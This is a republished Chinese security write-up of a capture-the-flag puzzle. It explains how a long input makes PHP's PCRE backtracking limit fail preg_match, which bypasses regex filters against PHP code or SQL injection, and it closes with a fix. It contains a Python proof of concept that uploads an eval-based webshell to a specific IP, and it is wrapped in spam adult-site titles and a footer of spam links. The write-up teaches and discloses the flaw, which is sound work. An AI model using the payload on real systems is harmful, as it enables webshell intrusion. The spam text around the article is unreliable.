成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

PHP利用PCRE回溯次數限制繞過某些安全限制

安全 應用安全
這次 Code-Breaking Puzzles 中我出了一道看似很簡單的題目pcrewaf,大意是判斷一下用戶輸入的內容有沒有 PHP 代碼,如果沒有,則寫入文件。

這次 Code-Breaking Puzzles 中我出了一道看似很簡單的題目pcrewaf,將其代碼簡化如下:

  1. <?php 
  2. function is_php($data){   
  3.     return preg_match('/<\?.*[(`;?>].*/is', $data);   
  4.  
  5. if(!is_php($input)) { 
  6.     // fwrite($f, $input); ... 

大意是判斷一下用戶輸入的內容有沒有 PHP 代碼,如果沒有,則寫入文件。這種時候,如何繞過 is_php() 函數來寫入 webshell 呢?

這道題看似簡單,深究其原理,還是值得寫一篇文章的。

一、正則表達式是什么

正則表達式是一個可以被「有限狀態自動機」接受的語言類。

「有限狀態自動機」,其擁有有限數量的狀態,每個狀態可以遷移到零個或多個狀態,輸入字串決定執行哪個狀態的遷移。

而常見的正則引擎,又被細分為 DFA(確定性有限狀態自動機)與 NFA(非確定性有限狀態自動機)。他們匹配輸入的過程分別是:

  • DFA:從起始狀態開始,一個字符一個字符地讀取輸入串,并根據正則來一步步確定至下一個轉移狀態,直到匹配不上或走完整個輸入
  • NFA:從起始狀態開始,一個字符一個字符地讀取輸入串,并與正則表達式進行匹配,如果匹配不上,則進行回溯,嘗試其他狀態

由于 NFA 的執行過程存在回溯,所以其性能會劣于 DFA,但它支持更多功能。大多數程序語言都使用了 NFA 作為正則引擎,其中也包括 PHP 使用的 PCRE 庫。

二、回溯的過程是怎樣的

所以,我們題目中的正則 <\?.*[(`;?>].*,假設匹配的輸入是

見上圖,可見第 4 步的時候,因為第一個 .* 可以匹配任何字符,所以最終匹配到了輸入串的結尾,也就是 //aaaaa。但此時顯然是不對的,因為正則顯示.*后面還應該有一個字符 [(`;?>]。

所以 NFA 就開始回溯,先吐出一個 a,輸入變成第 5 步顯示的 //aaaa,但仍然匹配不上正則,繼續吐出 a,變成 //aaa,仍然匹配不上……

最終直到吐出;,輸入變成第 12 步顯示的 ] ,這個結果滿足正則表達式的要求,于是不再回溯。13 步開始向后匹配;,14 步匹配.*,第二個.*匹配到了字符串末尾,最后結束匹配。

在調試正則表達式的時候,我們可以查看當前回溯的次數:

這里回溯了 8 次。

三、PHP 的 pcre.backtrack_limit 限制利用

PHP 為了防止正則表達式的拒絕服務攻擊(reDOS),給 pcre 設定了一個回溯次數上限 pcre.backtrack_limit。我們可以通過 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看當前環境下的上限:

正則表達式

這里有個有趣的事情,就是 PHP 文檔中,中英文版本的數值是不一樣的:

正則表達式

我們應該以英文版為參考。

可見,回溯次數上限默認是 100 萬。那么,假設我們的回溯次數超過了 100 萬,會出現什么現象呢?比如:

正則表達式

可見,preg_match 返回的非 1 和 0,而是 false。

preg_match 函數返回 false 表示此次執行失敗了,我們可以調用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,發現失敗的原因的確是回溯次數超出了限制:

正則表達式

所以,這道題的答案就呼之欲出了。我們通過發送超長字符串的方式,使正則執行失敗,最后繞過目標對 PHP 語言的限制。

對應的 POC 如下:

  1. import requests 
  2. from io import BytesIO 
  3.  
  4. files = { 
  5.   'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) 
  6.  
  7. res = requests.post('http://51.158.75.42:8088/index.php', filesfiles=files, allow_redirects=False
  8. print(res.headers) 

四、PCRE 另一種錯誤的用法

延伸一下,很多基于 PHP 的 WAF,如:

  1. <?php 
  2. if(preg_match('/SELECT.+FROM.+/is', $input)) { 
  3.     die('SQL Injection'); 

均存在上述問題,通過大量回溯可以進行繞過。

另外,我遇到更常見的一種 WAF 是:

  1. <?php 
  2. if(preg_match('/UNION.+?SELECT/is', $input)) { 
  3.     die('SQL Injection'); 

這里涉及到了正則表達式的「非貪婪模式」。在 NFA 中,如果我輸入 UNION/*aaaaa*/SELECT,這個正則表達式執行流程如下:

  • .+? 匹配到/
  • 因為非貪婪模式,所以.+? 停止匹配,而由 S 匹配*
  • S 匹配*失敗,回溯,再由.+? 匹配*
  • 因為非貪婪模式,所以.+? 停止匹配,而由 S 匹配 a
  • S 匹配 a 失敗,回溯,再由.+? 匹配 a

回溯次數隨著 a 的數量增加而增加。所以,我們仍然可以通過發送大量 a,來使回溯次數超出 pcre.backtrack_limit 限制,進而繞過 WAF:

五、修復方法

那么,如何修復這個問題呢?

其實如果我們仔細觀察 PHP 文檔,是可以看到 preg_match 函數下面的警告的:

如果用 preg_match 對字符串進行匹配,一定要使用===全等號來判斷返回值,如:

  1. <?php 
  2. function is_php($data){   
  3.     return preg_match('/<\?.*[(`;?>].*/is', $data);   
  4.  
  5. if(is_php($input) === 0) { 
  6.     // fwrite($f, $input); ... 

這樣,即使正則執行失敗返回 false,也不會進入 if 語句。

責任編輯:趙寧寧 來源: Freebuf
相關推薦

2019-02-12 15:39:52

2011-03-24 08:56:23

escalationsNagios報警

2011-03-21 15:44:52

escalationsNagios

2011-03-25 14:56:43

Nagiosescalations

2019-02-13 13:38:08

網絡安全網絡安全技術周刊

2015-01-05 09:59:42

2025-03-19 09:14:15

CursorTun模式LLM

2009-02-18 22:19:24

AD用戶登陸實現限制

2019-01-17 14:02:53

2009-12-07 09:13:05

取消PHP上傳限制

2023-10-12 14:21:52

ChatGPTGPT-4

2021-09-29 16:10:43

Windows 11MCT安裝腳本

2010-04-22 16:02:36

2011-07-20 15:09:43

組策略分區

2018-11-13 12:56:57

2011-10-08 13:29:28

QoSDSCP廣域網

2024-01-06 10:26:04

2010-05-20 15:00:00

2011-01-21 13:08:30

Sendmail

2009-07-16 14:28:08

Windows EmbIE安全限制
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 99久久婷婷国产综合精品 | 亚洲三区在线 | 夜夜草 | 蜜桃av一区二区三区 | 四虎影院久久 | 在线欧美亚洲 | 韩国主播午夜大尺度福利 | 欧美视频日韩 | 羞羞视频在线免费 | 精品视频免费 | 狠狠草视频 | 国产一区二区三区在线看 | 久久国产精品视频 | 欧美a v在线 | 999精品视频 | 国产91网站在线观看 | 91在线免费观看网站 | 成人福利片 | 亚洲一区二区三区视频免费观看 | 色精品 | 国产亚洲精品精品国产亚洲综合 | 综合久久综合久久 | 欧美久久国产精品 | 亚洲精品久久久久久一区二区 | 日韩精品成人 | 精品国产伦一区二区三区观看方式 | 成人在线一区二区 | 国产色 | 欧美一区二区三区四区五区无卡码 | 欧美一级二级三级视频 | 欧美在线观看一区 | 国产不卡视频 | 日韩中文不卡 | 久久av资源网| 999www视频免费观看 | 能看的av网站 | 日韩一级精品视频在线观看 | 91久久久久久久久久久久久 | 久久天天躁狠狠躁夜夜躁2014 | 黄色网址免费在线观看 | caoporn地址|